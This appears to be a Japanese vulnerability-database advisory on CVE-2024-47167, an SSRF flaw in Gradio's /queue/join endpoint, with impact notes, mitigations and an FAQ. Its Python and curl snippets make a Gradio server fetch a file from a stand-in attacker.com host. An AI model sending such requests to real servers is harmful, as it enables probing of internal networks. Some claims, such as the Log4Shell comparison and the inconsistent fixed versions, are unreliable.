プラットフォーム
python
コンポーネント
gradio
修正版
5.0.1
5.0.0
CVE-2024-47167は、Gradioの/queue/joinエンドポイントにおけるServer-Side Request Forgery (SSRF) 脆弱性です。この脆弱性を悪用されると、攻撃者はGradioサーバーにユーザーが制御するURLへのHTTPリクエストを送信させることが可能となり、内部ネットワーク内のサーバーやサービスを標的としたり、データの漏洩を引き起こしたりする可能性があります。影響を受けるバージョンはGradio 5.0.0b9以前であり、バージョン5.0.0へのアップデートで修正されています。
このSSRF脆弱性は、攻撃者がGradioサーバーを介して任意の内部URLにリクエストを送信することを可能にします。これにより、内部ネットワーク内の機密情報へのアクセス、内部サービスの悪用、さらにはマルウェアのアップロードといった攻撃が可能になります。特に、Gradioアプリケーションが内部ネットワークにアクセスする機能を持つ場合、この脆弱性の影響は甚大となる可能性があります。攻撃者は、内部ネットワーク内のデータベースやAPIエンドポイントを直接ターゲットにすることもできます。この脆弱性は、Log4ShellのようなSSRF攻撃と同様のパターンで悪用される可能性があります。
この脆弱性は、2024年10月10日に公開されました。現時点では、KEV(Known Exploited Vulnerabilities)に登録されていません。公開されているPoC(Proof of Concept)は確認されていませんが、SSRF脆弱性であるため、攻撃者による悪用が懸念されます。NVD(National Vulnerability Database)およびCISA(Cybersecurity and Infrastructure Security Agency)の情報を定期的に確認し、最新の情報を入手するようにしてください。
Organizations deploying Gradio to expose machine learning models or other internal applications are at significant risk. Shared hosting environments where multiple users share the same Gradio instance are particularly vulnerable, as an attacker could potentially exploit the vulnerability to target other users' data or resources.
• python / gradio:
import requests
import urllib3
http = urllib3.PoolManager()
try:
response = http.request('GET', 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt')
print(response.status)
except Exception as e:
print(f"Error: {e}")• generic web:
curl -I 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt' | grep -i 'Location:'disclosure
エクスプロイト状況
EPSS
0.24% (47% パーセンタイル)
CISA SSVC
CVSS ベクトル
この脆弱性への対応策として、まずGradioをバージョン5.0.0にアップデートすることを推奨します。アップデートが一時的に利用できない場合は、WAF(Web Application Firewall)を導入し、/queue/joinエンドポイントへの外部からのリクエストをブロックするルールを設定することで、攻撃を軽減できます。また、GradioアプリケーションがアクセスできるURLを制限する設定も有効です。Gradioアプリケーションのログを監視し、不審なリクエストがないか確認することも重要です。アップデート後、Gradioアプリケーションを再起動し、バージョンが5.0.0に正常にアップデートされていることを確認してください。
Gradioライブラリをバージョン5.0以降にアップデートしてください。代替案として、GradioアプリケーションでURLベースの入力を無効にするか、信頼できるドメインのみに制限してください。より厳格なURL検証を実装し、ローカルまたは内部ネットワークのアドレスが`/queue/join`エンドポイント経由でリクエストできないようにしてください。
脆弱性分析と重要アラートをメールでお届けします。
CVE-2024-47167は、Gradioの/queue/joinエンドポイントにおけるServer-Side Request Forgery (SSRF) 脆弱性です。攻撃者はGradioサーバーを介して任意の内部URLにリクエストを送信することが可能になります。
はい、Gradioのバージョン5.0.0b9以前を使用している場合は、この脆弱性の影響を受ける可能性があります。攻撃者は内部サーバーへのアクセスやデータ漏洩を引き起こす可能性があります。
Gradioをバージョン5.0.0にアップデートすることで、この脆弱性を修正できます。アップデートが難しい場合は、WAFを導入して攻撃を軽減してください。
現時点では、KEVに登録されておらず、公開されているPoCも確認されていませんが、SSRF脆弱性であるため、悪用される可能性はあります。
Gradioの公式アドバイザリは、Gradioのリリースノートまたはセキュリティアナウンスメントで確認できます。
requirements.txt ファイルをアップロードすると、影響の有無を即座にお知らせします。